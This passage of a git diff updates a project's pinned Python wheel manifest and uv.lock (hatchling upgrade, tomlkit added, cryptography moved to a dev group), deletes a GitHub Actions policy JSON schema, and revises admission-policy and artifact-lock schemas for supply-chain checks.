"pre_commit-4.3.0-py2.py3-none-any.whl", - "name": "pre-commit", - "sha256": "2b0747ad7e6e967169136edffee14c16e148a778a54e4f967921aa1ebf2308d8", - "size": 220965, - "url": "https://files.pythonhosted.org/packages/5b/a5/987a405322d78a73b66e39e4a90e4ef156fd7141bf71df987e50717c321b/pre_commit-4.3.0-py2.py3-none-any.whl", - "version": "4.3.0" - }, - { - "filename": "pre_commit_hooks-6.0.0-py2.py3-none-any.whl", - "name": "pre-commit-hooks", - "sha256": "76161b76d321d2f8ee2a8e0b84c30ee8443e01376121fd1c90851e33e3bd7ee2", - "size": 41338, - "url": "https://files.pythonhosted.org/packages/12/46/eba9be9daa403fa94854ce16a458c29df9a01c6c047931c3d8be6016cd9a/pre_commit_hooks-6.0.0-py2.py3-none-any.whl", - "version": "6.0.0" - }, - { - "filename": "pycparser-3.0-py3-none-any.whl", - "name": "pycparser", - "sha256": "b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", - "size": 48172, - "url": "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", - "version": "3.0" - }, - { - "filename": "pygments-2.21.0-py3-none-any.whl", - "name": "pygments", - "sha256": "2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", - "size": 1250147, - "url": "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", - "version": "2.21.0" - }, - { - "filename": "pytest-9.0.3-py3-none-any.whl", - "name": "pytest", - "sha256": "2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", - "size": 375249, - "url": "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", - "version": "9.0.3" - }, - { - "filename": "pytest_timeout-2.4.0-py3-none-any.whl", - "name": "pytest-timeout", - "sha256": "c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2", - "size": 14382, - "url": "https://files.pythonhosted.org/packages/fa/b6/3127540ecdf1464a00e5a01ee60a1b09175f6913f0644ac748494d9c4b21/pytest_timeout-2.4.0-py3-none-any.whl", - "version": "2.4.0" - }, - { - "filename": "python_discovery-1.6.0-py3-none-any.whl", - "name": "python-discovery", - "sha256": "d4e244cf17b8b29819ed78003d55fbacf86eda23425b075454fff9271b79377a", - "size": 38451, - "url": "https://files.pythonhosted.org/packages/43/5e/21abf578182fb15006a57faf3711a1e659e29d600d19b6e557eae908c81d/python_discovery-1.6.0-py3-none-any.whl", - "version": "1.6.0" - }, - { - "filename": "pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", - "name": "pyyaml", - "sha256": "34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", - "size": 173809, - "url": "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", - "version": "6.0.3" - }, - { - "filename": "referencing-0.37.0-py3-none-any.whl", - "name": "referencing", - "sha256": "381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", - "size": 26766, - "url": "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", - "version": "0.37.0" - }, - { - "filename": "regress-2026.9.1-cp314-cp314-macosx_11_0_arm64.whl", - "name": "regress", - "sha256": "00ed84607b4c92a070f28749de04b6c89bcd5f991e705052e15a28301759f8cf", - "size": 517514, - "url": "https://files.pythonhosted.org/packages/29/81/2f1866745f68a57ca492056f1c6a1a240b0cf15f52f09c61beab794fc437/regress-2026.9.1-cp314-cp314-macosx_11_0_arm64.whl", - "version": "2026.9.1" - }, - { - "filename": "requests-2.34.2-py3-none-any.whl", - "name": "requests", - "sha256": "2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", - "size": 73075, - "url": "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", - "version": "2.34.2" - }, - { - "filename": "rpds_py-2026.6.3-cp314-cp314-macosx_11_0_arm64.whl", - "name": "rpds-py", - "sha256": "d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd", - "size": 339495, - "url": "https://files.pythonhosted.org/packages/ba/54/f785cc3d3f60839ca57a5af4927a9f347b07b2799c373fc20f7949f87c7e/rpds_py-2026.6.3-cp314-cp314-macosx_11_0_arm64.whl", - "version": "2026.6.3" - }, - { - "filename": "ruamel_yaml-0.19.1-py3-none-any.whl", - "name": "ruamel-yaml", - "sha256": "27592957fedf6e0b62f281e96effd28043345e0e66001f97683aa9a40c667c93", - "size": 118102, - "url": "https://files.pythonhosted.org/packages/b8/0c/51f6841f1d84f404f92463fc2b1ba0da357ca1e3db6b7fbda26956c3b82a/ruamel_yaml-0.19.1-py3-none-any.whl", - "version": "0.19.1" - }, - { - "filename": "ruff-0.15.9-py3-none-macosx_11_0_arm64.whl", - "name": "ruff", - "sha256": "eaf05aad70ca5b5a0a4b0e080df3a6b699803916d88f006efd1f5b46302daab8", - "size": 10316722, - "url": "https://files.pythonhosted.org/packages/ca/25/de55f52ab5535d12e7aaba1de37a84be6179fb20bddcbe71ec091b4a3243/ruff-0.15.9-py3-none-macosx_11_0_arm64.whl", - "version": "0.15.9" - }, - { - "filename": "trove_classifiers-2026.6.1.19-py3-none-any.whl", - "name": "trove-classifiers", - "sha256": "ab4c4ec93cc4a4e7815fa759906e05e6bb3f2fbd92ea0f897288c6a43efd15b3", - "size": 14211, - "url": "https://files.pythonhosted.org/packages/7c/a4/81502f486f01db95bc8320646a8a12511f5e556cb63d5e224d91816605c4/trove_classifiers-2026.6.1.19-py3-none-any.whl", - "version": "2026.6.1.19" - }, - { - "filename": "urllib3-2.7.0-py3-none-any.whl", - "name": "urllib3", - "sha256": "9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", - "size": 131087, - "url": "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", - "version": "2.7.0" - }, - { - "filename": "uv-0.12.4-py3-none-macosx_11_0_arm64.whl", - "name": "uv", - "sha256": "004e75a64fa44619b0e3bb267c206a6920e65b78c963863b649c3bcdfd870610", - "size": 19411866, - "url": "https://files.pythonhosted.org/packages/0d/5e/ea9e08d1489b586c02cf1da034433b249a229b19ac7d80021ed4d901d62d/uv-0.12.4-py3-none-macosx_11_0_arm64.whl", - "version": "0.12.4" - }, - { - "filename": "virtualenv-21.7.9-py3-none-any.whl", - "name": "virtualenv", - "sha256": "ba3b0bb41063c848d84d76a9fe3fb7711aaa0f2fe78708e8f3cd9714770e4eac", - "size": 5324667, - "url": "https://files.pythonhosted.org/packages/85/fc/888c80b8da917bfc48a41887eca244f995d190bd3c01175727089fcaf27e/virtualenv-21.7.9-py3-none-any.whl", - "version": "21.7.9" - } - ], - "lock_path": "implementations/tooling/python/uv.lock", - "lock_sha256": "ef9663222cbae7f8cc41fe04f88827cc69c944dd4994064b26d8e7f077dad51f", - "python_closure_profile_id": "public-macos-arm64-cp314-tools", - "requirements_sha256": "e89ed97848a98eca679b2b3c5f583c139f207eb88d941b5212184db79863f283", - "schema_version": "raes-python-wheelhouse-manifest/v1" -} diff --git a/implementations/tooling/python/uv.lock b/implementations/tooling/python/uv.lock index 5bdc5cae2..41de6b843 100644 --- a/implementations/tooling/python/uv.lock +++ b/implementations/tooling/python/uv.lock @@ -361,17 +361,18 @@ wheels = [ [[package]] name = "hatchling" -version = "1.27.0" +version = "1.32.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "packaging" }, { name = "pathspec" }, { name = "pluggy" }, + { name = "tomlkit" }, { name = "trove-classifiers" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8f/8a/cc1debe3514da292094f1c3a700e4ca25442489731ef7c0814358816bb03/hatchling-1.27.0.tar.gz", hash = "sha256:971c296d9819abb3811112fc52c7a9751c8d381898f36533bb16f9791e941fd6", size = 54983, upload-time = "2024-12-15T17:08:11.894Z" } +sdist = { url = "https://files.pythonhosted.org/packages/69/08/33331757185504aae48b8d9bd78cec03a76e3aecfb52e549d05a2347c0dd/hatchling-1.32.0.tar.gz", hash = "sha256:0bdbde4a52b06c37e3eca395f85a762bf0ef06fe374fd8ae429dc6be10230f5f", size = 57783, upload-time = "2026-08-11T05:03:44.114Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/08/e7/ae38d7a6dfba0533684e0b2136817d667588ae3ec984c1a4e5df5eb88482/hatchling-1.27.0-py3-none-any.whl", hash = "sha256:d3a2f3567c4f926ea39849cdf924c7e99e6686c9c8e288ae1037c8fa2a5d937b", size = 75794, upload-time = "2024-12-15T17:08:10.364Z" }, + { url = "https://files.pythonhosted.org/packages/a9/84/1798b6d85ecde0e31546004efd25c5de1b1f49250644a60cce460e12593a/hatchling-1.32.0-py3-none-any.whl", hash = "sha256:0e17c9c3b9aa7c625acc8d0f5b622f107d5049af9ecf5ada4de1aada5be7cdbc", size = 78435, upload-time = "2026-08-11T05:03:42.644Z" }, ] [[package]] @@ -661,7 +662,6 @@ version = "0" source = { virtual = "." } dependencies = [ { name = "check-jsonschema" }, - { name = "cryptography" }, { name = "filelock" }, { name = "nox", extra = ["uv"] }, { name = "pip" }, @@ -674,6 +674,9 @@ dependencies = [ ] [package.dev-dependencies] +acquisition-tests = [ + { name = "cryptography" }, +] build = [ { name = "hatchling" }, ] @@ -681,7 +684,6 @@ build = [ [package.metadata] requires-dist = [ { name = "check-jsonschema", specifier = "==0.37.1" }, - { name = "cryptography", specifier = "==50.0.1" }, { name = "filelock", specifier = "==3.32.6" }, { name = "nox", extras = ["uv"], specifier = "==2026.4.10" }, { name = "pip", specifier = "==26.2.1" }, @@ -694,7 +696,8 @@ requires-dist = [ ] [package.metadata.requires-dev] -build = [{ name = "hatchling", specifier = "==1.27.0" }] +acquisition-tests = [{ name = "cryptography", specifier = "==50.0.1" }] +build = [{ name = "hatchling", specifier = "==1.32.0" }] [[package]] name = "referencing" @@ -947,6 +950,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/03/36/76704c4f312257d6dbaae3c959add2a622f63fcca9d864659ce6d8d97d3d/ruff-0.15.9-py3-none-win_arm64.whl", hash = "sha256:0694e601c028fd97dc5c6ee244675bc241aeefced7ef80cd9c6935a871078f53", size = 11005870, upload-time = "2026-04-02T18:17:15.773Z" }, ] +[[package]] +name = "tomlkit" +version = "0.15.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/96/e07752635b98536177fa1f37671c8f3cdde2e724c6bcf6034b2cfb571565/tomlkit-0.15.1.tar.gz", hash = "sha256:e25bbf38843005246210a12982776f27f99cb9be67160e14434d0c0d21ee1e97", size = 180129, upload-time = "2026-07-17T01:48:04.562Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/bc/8c13eb66537dce1d2bd3a57132902f38d0e7f5bb46fa9f4daed9fe9d76ee/tomlkit-0.15.1-py3-none-any.whl", hash = "sha256:177a05aece5a8ca5266fd3c448abb47b8d352f09d477d3ca8332db4d89b24304", size = 49449, upload-time = "2026-07-17T01:48:05.728Z" }, +] + [[package]] name = "trove-classifiers" version = "2026.6.1.19" diff --git a/implementations/tooling/schemas/actions-policy.schema.json b/implementations/tooling/schemas/actions-policy.schema.json deleted file mode 100644 index 073501eec..000000000 --- a/implementations/tooling/schemas/actions-policy.schema.json +++ /dev/null @@ -1,318 +0,0 @@ -{ - "$schema": "https://json-schema.org/draft/2020-12/schema", - "$id": "urn:raes:tooling:actions-policy:v2", - "title": "RAES GitHub Actions source, transitive-input, and use-site policy", - "type": "object", - "additionalProperties": false, - "required": [ - "schema_version", - "policy_revision", - "exception_evaluation_date", - "protected_refs", - "policy_refs", - "actions", - "service_managed_exceptions", - "workflow_jobs", - "use_sites", - "local_workflows", - "dependabot" - ], - "properties": { - "schema_version": {"const": "raes-development-actions-policy/v2"}, - "policy_revision": {"type": "string", "format": "date"}, - "exception_evaluation_date": {"type": "string", "format": "date"}, - "protected_refs": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "pattern": "^refs/heads/[A-Za-z0-9._/-]+$"} - }, - "policy_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "actions": {"type": "array", "items": {"$ref": "#/$defs/action"}}, - "service_managed_exceptions": {"type": "array", "items": {"$ref": "#/$defs/serviceException"}}, - "workflow_jobs": {"type": "array", "items": {"$ref": "#/$defs/workflowJob"}}, - "use_sites": {"type": "array", "items": {"$ref": "#/$defs/useSite"}}, - "local_workflows": {"type": "array", "items": {"$ref": "#/$defs/localWorkflow"}}, - "dependabot": {"$ref": "#/$defs/dependabot"} - }, - "$defs": { - "identifier": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._/-]*$"}, - "nonEmptyStrings": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "minLength": 1} - }, - "strings": { - "type": "array", "uniqueItems": true, - "items": {"type": "string", "minLength": 1} - }, - "workflowPath": {"type": "string", "pattern": "^\\.github/workflows/[A-Za-z0-9_.-]+\\.ya?ml$"}, - "actionName": {"type": "string", "pattern": "^[A-Za-z0-9_.-]+/[A-Za-z0-9_./-]+$"}, - "commit": {"type": "string", "pattern": "^[0-9a-f]{40}$"}, - "scalar": {"type": ["string", "boolean", "integer", "null"]}, - "inputs": { - "type": "object", - "propertyNames": {"pattern": "^[A-Za-z0-9_.-]+$"}, - "additionalProperties": {"$ref": "#/$defs/scalar"} - }, - "permissions": { - "type": "object", - "propertyNames": { - "enum": [ - "actions", "attestations", "checks", "contents", "deployments", - "discussions", "id-token", "issues", "models", "packages", "pages", - "pull-requests", "security-events", "statuses" - ] - }, - "additionalProperties": {"enum": ["none", "read", "write"]} - }, - "inputCondition": { - "type": "object", - "additionalProperties": false, - "required": ["input", "operator"], - "properties": { - "input": {"type": "string", "pattern": "^[A-Za-z0-9_.-]+$"}, - "operator": {"enum": ["present", "absent", "equals", "not-equals"]}, - "value": {"$ref": "#/$defs/scalar"} - }, - "allOf": [ - { - "if": {"properties": {"operator": {"enum": ["equals", "not-equals"]}}}, - "then": {"required": ["value"]}, - "else": {"not": {"required": ["value"]}} - } - ] - }, - "credentialEffect": { - "type": "object", - "additionalProperties": false, - "required": ["credential_class"], - "properties": { - "credential_class": {"type": "string", "minLength": 1}, - "when": {"$ref": "#/$defs/inputCondition"} - } - }, - "cacheEffect": { - "type": "object", - "additionalProperties": false, - "required": ["role"], - "properties": { - "role": {"enum": ["restore", "write"]}, - "when": {"$ref": "#/$defs/inputCondition"} - } - }, - "artifactEffect": { - "type": "object", - "additionalProperties": false, - "required": ["role"], - "properties": { - "role": {"enum": ["read-same-run", "write"]}, - "when": {"$ref": "#/$defs/inputCondition"} - } - }, - "securityEffects": { - "type": "object", - "additionalProperties": false, - "required": ["closed_inputs", "credentials", "cache", "artifact"], - "properties": { - "closed_inputs": { - "type": "object", - "propertyNames": {"pattern": "^[A-Za-z0-9_.-]+$"}, - "additionalProperties": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"$ref": "#/$defs/scalar"} - } - }, - "credentials": {"type": "array", "items": {"$ref": "#/$defs/credentialEffect"}}, - "cache": {"type": "array", "items": {"$ref": "#/$defs/cacheEffect"}}, - "artifact": {"type": "array", "items": {"$ref": "#/$defs/artifactEffect"}} - } - }, - "transitiveInput": { - "type": "object", - "additionalProperties": false, - "required": ["input_id"], - "properties": { - "input_id": {"$ref": "#/$defs/identifier"}, - "artifact_ref": {"$ref": "#/$defs/identifier"}, - "host_capability_ref": {"$ref": "#/$defs/identifier"}, - "service_managed_exception_ref": {"$ref": "#/$defs/identifier"}, - "action_source_ref": {"$ref": "#/$defs/identifier"}, - "when": {"$ref": "#/$defs/inputCondition"} - }, - "oneOf": [ - {"required": ["artifact_ref"]}, - {"required": ["host_capability_ref"]}, - {"required": ["service_managed_exception_ref"]}, - {"required": ["action_source_ref"]} - ] - }, - "action": { - "type": "object", - "additionalProperties": false, - "required": [ - "source_id", "action", "commit", "owner_roles", "reviewer_roles", "trust_root_refs", - "runtime", "closure_review_ref", "security_effects", "transitive_inputs" - ], - "properties": { - "source_id": {"$ref": "#/$defs/identifier"}, - "action": {"$ref": "#/$defs/actionName"}, - "commit": {"$ref": "#/$defs/commit"}, - "owner_roles": {"$ref": "#/$defs/nonEmptyStrings"}, - "reviewer_roles": {"$ref": "#/$defs/nonEmptyStrings"}, - "trust_root_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "runtime": {"enum": ["node24", "docker", "composite"]}, - "closure_review_ref": {"type": "string", "minLength": 1}, - "security_effects": {"$ref": "#/$defs/securityEffects"}, - "transitive_inputs": {"type": "array", "items": {"$ref": "#/$defs/transitiveInput"}} - } - }, - "serviceException": { - "type": "object", - "additionalProperties": false, - "required": [ - "exception_id", "source_id", "action", "input_id", "reason", "operation", - "allowed_origins", "credential_class", "credential_forwarding", - "owner_roles", "reviewer_roles", "evidence_ref", "scope", "review_on" - ], - "properties": { - "exception_id": {"$ref": "#/$defs/identifier"}, - "source_id": {"$ref": "#/$defs/identifier"}, - "action": {"$ref": "#/$defs/actionName"}, - "input_id": {"$ref": "#/$defs/identifier"}, - "reason": {"type": "string", "minLength": 1}, - "operation": {"type": "string", "minLength": 1}, - "allowed_origins": {"$ref": "#/$defs/nonEmptyStrings"}, - "credential_class": {"type": "string", "minLength": 1}, - "credential_forwarding": {"enum": ["none", "same-origin-only"]}, - "owner_roles": {"$ref": "#/$defs/nonEmptyStrings"}, - "reviewer_roles": {"$ref": "#/$defs/nonEmptyStrings"}, - "evidence_ref": {"type": "string", "minLength": 1}, - "scope": {"type": "string", "minLength": 1}, - "review_on": {"type": "string", "format": "date"} - } - }, - "workflowJob": { - "type": "object", - "additionalProperties": false, - "required": [ - "workflow", "job", "runner", "host_profile_ids", "trust_classes", - "permissions", "credential_classes", "allowed_origins", "cache_access", - "artifact_access", "promotion_authority", "publishing_authority" - ], - "properties": { - "workflow": {"$ref": "#/$defs/workflowPath"}, - "job": {"$ref": "#/$defs/identifier"}, - "runner": {"type": "string", "minLength": 1}, - "host_profile_ids": {"$ref": "#/$defs/strings"}, - "trust_classes": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": { - "enum": ["untrusted-pr", "same-repository-pr", "untrusted-ref", "protected-branch", "manual", "scheduled", "reusable"] - } - }, - "permissions": {"$ref": "#/$defs/permissions"}, - "credential_classes": {"$ref": "#/$defs/strings"}, - "allowed_origins": {"$ref": "#/$defs/strings"}, - "cache_access": {"enum": ["none", "restore", "write-untrusted", "write-trusted"]}, - "artifact_access": {"enum": ["none", "read-same-run", "write-untrusted", "write-trusted"]}, - "promotion_authority": {"type": "boolean"}, - "publishing_authority": {"type": "boolean"}, - "protected_definition_ref": {"type": "string", "minLength": 1} - } - }, - "useSite": { - "type": "object", - "additionalProperties": false, - "required": [ - "use_id", "workflow", "job", "step", "source_id", "action", "commit", "inputs", - "trust_classes", "credential_classes", "allowed_origins", "cache_role", "artifact_role" - ], - "properties": { - "use_id": {"$ref": "#/$defs/identifier"}, - "workflow": {"$ref": "#/$defs/workflowPath"}, - "job": {"$ref": "#/$defs/identifier"}, - "step": {"type": "string", "minLength": 1}, - "source_id": {"$ref": "#/$defs/identifier"}, - "action": {"$ref": "#/$defs/actionName"}, - "commit": {"$ref": "#/$defs/commit"}, - "inputs": {"$ref": "#/$defs/inputs"}, - "trust_classes": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": { - "enum": ["untrusted-pr", "same-repository-pr", "untrusted-ref", "protected-branch", "manual", "scheduled", "reusable"] - } - }, - "credential_classes": {"$ref": "#/$defs/strings"}, - "allowed_origins": {"$ref": "#/$defs/strings"}, - "cache_role": {"enum": ["none", "restore", "write-untrusted", "write-trusted"]}, - "artifact_role": {"enum": ["none", "read-same-run", "write-untrusted", "write-trusted"]} - } - }, - "localWorkflow": { - "type": "object", - "additionalProperties": false, - "required": ["path", "caller_workflow", "caller_job", "inputs", "permissions"], - "properties": { - "path": {"type": "string", "pattern": "^\\./\\.github/workflows/[A-Za-z0-9_.-]+\\.ya?ml$"}, - "caller_workflow": {"$ref": "#/$defs/workflowPath"}, - "caller_job": {"$ref": "#/$defs/identifier"}, - "inputs": {"$ref": "#/$defs/inputs"}, - "permissions": {"$ref": "#/$defs/permissions"} - } - }, - "dependabot": { - "type": "object", - "additionalProperties": false, - "required": ["version", "updates"], - "properties": { - "version": {"const": 2}, - "updates": { - "type": "array", - "items": {"$ref": "#/$defs/dependabotUpdate"} - } - } - }, - "dependabotUpdate": { - "type": "object", - "additionalProperties": false, - "required": [ - "package-ecosystem", "directory", "target-branch", "schedule", - "open-pull-requests-limit", "groups" - ], - "properties": { - "package-ecosystem": {"enum": ["github-actions", "pip"]}, - "directory": {"type": "string", "minLength": 1}, - "target-branch": {"const": "dev"}, - "schedule": { - "type": "object", "additionalProperties": false, - "required": ["interval"], "properties": {"interval": {"const": "weekly"}} - }, - "open-pull-requests-limit": {"type": "integer", "minimum": 1}, - "groups": { - "type": "object", "minProperties": 1, - "propertyNames": {"pattern": "^[A-Za-z0-9_.-]+$"}, - "additionalProperties": { - "type": "object", "additionalProperties": false, - "required": ["patterns"], - "properties": { - "patterns": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "minLength": 1} - }, - "update-types": { - "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"enum": ["major", "minor", "patch"]} - } - } - } - }, - "ignore": { - "type": "array", "minItems": 1, - "items": { - "type": "object", "additionalProperties": false, - "required": ["dependency-name"], - "properties": {"dependency-name": {"type": "string", "minLength": 1}} - } - } - } - } - } -} diff --git a/implementations/tooling/schemas/admission-policy.schema.json b/implementations/tooling/schemas/admission-policy.schema.json index 9f7a1ccb3..4112584b4 100644 --- a/implementations/tooling/schemas/admission-policy.schema.json +++ b/implementations/tooling/schemas/admission-policy.schema.json @@ -4,7 +4,7 @@ "title": "RAES development admission policy", "type": "object", "additionalProperties": false, - "required": ["schema_version", "policy_revision", "policies", "denied_digests"], + "required": ["schema_version", "policy_revision", "policies", "denied_digests", "release_producers"], "properties": { "schema_version": {"const": "raes-development-admission-policy/v1"}, "policy_revision": {"type": "string", "format": "date"}, @@ -17,7 +17,7 @@ "required": ["policy_id", "subject", "status", "accepted_evidence", "reviewer_roles"], "properties": { "policy_id": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, - "subject": {"enum": ["artifact", "action", "source-snapshot", "oci-image"]}, + "subject": {"enum": ["artifact", "action", "source-snapshot", "oci-image", "release-artifact"]}, "status": {"enum": ["active", "retired"]}, "accepted_evidence": { "type": "array", "minItems": 1, "uniqueItems": true, @@ -30,6 +30,25 @@ } } }, + "release_producers": { + "type": "array", "minItems": 1, "uniqueItems": true, + "items": { + "type": "object", + "additionalProperties": false, + "required": ["producer_id", "issuer", "repository", "workflow_ref", "signer_workflow", "reviewer_roles"], + "properties": { + "producer_id": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, + "issuer": {"type": "string", "pattern": "^https://"}, + "repository": {"type": "string", "pattern": "^[A-Za-z0-9][A-Za-z0-9._-]*/[A-Za-z0-9][A-Za-z0-9._-]*$"}, + "workflow_ref": {"type": "string", "minLength": 1}, + "signer_workflow": {"type": "string", "minLength": 1}, + "reviewer_roles": { + "type": "array", "minItems": 1, "uniqueItems": true, + "items": {"type": "string", "minLength": 1} + } + } + } + }, "denied_digests": { "type": "array", "uniqueItems": true, "items": {"type": "string", "pattern": "^[0-9a-f]{64}$"} diff --git a/implementations/tooling/schemas/artifact-lock.schema.json b/implementations/tooling/schemas/artifact-lock.schema.json index 7c1ffc544..04e8120ec 100644 --- a/implementations/tooling/schemas/artifact-lock.schema.json +++ b/implementations/tooling/schemas/artifact-lock.schema.json @@ -4,14 +4,25 @@ "title": "RAES development artifact lock", "type": "object", "additionalProperties": false, - "required": ["schema_version", "lock_revision", "artifacts"], + "required": [ + "schema_version", + "lock_revision", + "artifacts" + ], "properties": { - "schema_version": {"const": "raes-development-artifact-lock/v1"}, - "lock_revision": {"type": "string", "format": "date"}, + "schema_version": { + "const": "raes-development-artifact-lock/v1" + }, + "lock_revision": { + "type": "string", + "format": "date" + }, "artifacts": { "type": "array", "minItems": 1, - "items": {"$ref": "#/$defs/artifact"} + "items": { + "$ref": "#/$defs/artifact" + } } }, "$defs": { @@ -19,138 +30,397 @@ "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "minLength": 1} + "items": { + "type": "string", + "minLength": 1 + } }, "manifestEntry": { "type": "object", "additionalProperties": false, - "required": ["path", "sha256", "size"], + "required": [ + "path", + "sha256", + "size" + ], "properties": { "path": { "type": "string", "minLength": 1, "pattern": "^(?!/)(?![A-Za-z]:)(?!.*\\\\)(?!.*(?:^|/)\\.{1,2}(?:/|$))[^\\u0000]+$" }, - "sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "size": {"type": "integer", "minimum": 1}, - "executable": {"type": "boolean"} + "sha256": { + "type": "string", + "pattern": "^[0-9a-f]{64}$" + }, + "size": { + "type": "integer", + "minimum": 1 + }, + "executable": { + "type": "boolean" + } } }, "platform": { "type": "object", "additionalProperties": false, - "required": ["platform_id", "source_urls", "raw_manifest", "dependencies", "profile_ids"], + "required": [ + "platform_id", + "source_urls", + "raw_manifest", + "dependencies", + "profile_ids" + ], "properties": { - "platform_id": {"type": "string", "minLength": 1}, - "distribution_id": {"type": "string", "minLength": 1}, + "platform_id": { + "type": "string", + "minLength": 1 + }, + "distribution_id": { + "type": "string", + "minLength": 1 + }, "source_urls": { "type": "array", "minItems": 1, "uniqueItems": true, - "items": {"type": "string", "pattern": "^https://"} + "items": { + "type": "string", + "pattern": "^https://" + } }, "raw_manifest": { "type": "array", "minItems": 1, - "items": {"$ref": "#/$defs/manifestEntry"} + "items": { + "$ref": "#/$defs/manifestEntry" + } }, "installed_manifest": { "type": "array", "minItems": 1, - "items": {"$ref": "#/$defs/manifestEntry"} + "items": { + "$ref": "#/$defs/manifestEntry" + } }, "installed_tree": { "type": "object", "additionalProperties": false, - "required": ["format", "manifest_sha256", "file_count", "directory_count", "symlink_count", "expanded_bytes"], + "required": [ + "format", + "manifest_sha256", + "file_count", + "directory_count", + "symlink_count", + "expanded_bytes" + ], "properties": { - "format": {"const": "tar.gz"}, - "manifest_sha256": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, - "file_count": {"type": "integer", "minimum": 1}, - "directory_count": {"type": "integer", "minimum": 1}, - "symlink_count": {"type": "integer", "minimum": 0}, - "expanded_bytes": {"type": "integer", "minimum": 1} + "format": { + "const": "tar.gz" + }, + "manifest_sha256": { + "type": "string", + "pattern": "^[0-9a-f]{64}$" + }, + "file_count": { + "type": "integer", + "minimum": 1 + }, + "directory_count": { + "type": "integer", + "minimum": 1 + }, + "symlink_count": { + "type": "integer", + "minimum": 0 + }, + "expanded_bytes": { + "type": "integer", + "minimum": 1 + } } }, "installed_identity": { "type": "object", "additionalProperties": false, - "required": ["implementation", "version", "abi", "target"], + "required": [ + "implementation", + "version", + "abi", + "target" + ], "properties": { - "implementation": {"type": "string", "minLength": 1}, - "version": {"type": "string", "minLength": 1}, - "abi": {"type": "string", "minLength": 1}, - "target": {"type": "string", "minLength": 1} + "implementation": { + "type": "string", + "minLength": 1 + }, + "version": { + "type": "string", + "minLength": 1 + }, + "abi": { + "type": "string", + "minLength": 1 + }, + "target": { + "type": "string", + "minLength": 1 + } } }, + "oci_graph": { + "$ref": "#/$defs/ociGraph" + }, "dependencies": { "type": "array", "uniqueItems": true, - "items": {"type": "string", "minLength": 1} + "items": { + "type": "string", + "minLength": 1 + } + }, + "profile_ids": { + "$ref": "#/$defs/nonEmptyStrings" }, - "profile_ids": {"$ref": "#/$defs/nonEmptyStrings"}, - "host_profile_ids": {"$ref": "#/$defs/nonEmptyStrings"} + "host_profile_ids": { + "$ref": "#/$defs/nonEmptyStrings" + } }, "oneOf": [ - {"required": ["installed_manifest"]}, - {"required": ["installed_identity"]} + { + "required": [ + "installed_manifest" + ] + }, + { + "required": [ + "installed_identity" + ] + } ] }, "artifact": { "type": "object", "additionalProperties": false, "required": [ - "artifact_id", "artifact_class", "version", "owner", "consumers", - "trust_root_refs", "availability_class", "retention_class", "license", - "authenticity", "policy_refs", "source", "platforms" + "artifact_id", + "artifact_class", + "version", + "owner", + "consumers", + "trust_root_refs", + "availability_class", + "retention_class", + "license", + "authenticity", + "policy_refs", + "source", + "platforms" ], "properties": { - "artifact_id": {"type": "string", "pattern": "^[a-z0-9][a-z0-9._-]*$"}, + "artifact_id": { + "type": "string", + "pattern": "^[a-z0-9][a-z0-9._-]*$" + }, "artifact_class": { - "enum": ["generic-cli", "source-snapshot", "bootstrap", "native-tool", "oci-image", "vm-base-image"] - }, - "version": {"type": "string", "minLength": 1}, - "support_level": {"enum": ["blocking", "advisory"]}, - "owner": {"type": "string", "minLength": 1}, - "consumers": {"$ref": "#/$defs/nonEmptyStrings"}, - "trust_root_refs": {"$ref": "#/$defs/nonEmptyStrings"}, - "availability_class": {"enum": ["R", "L", "N"]}, - "retention_class": {"enum": ["supported-input", 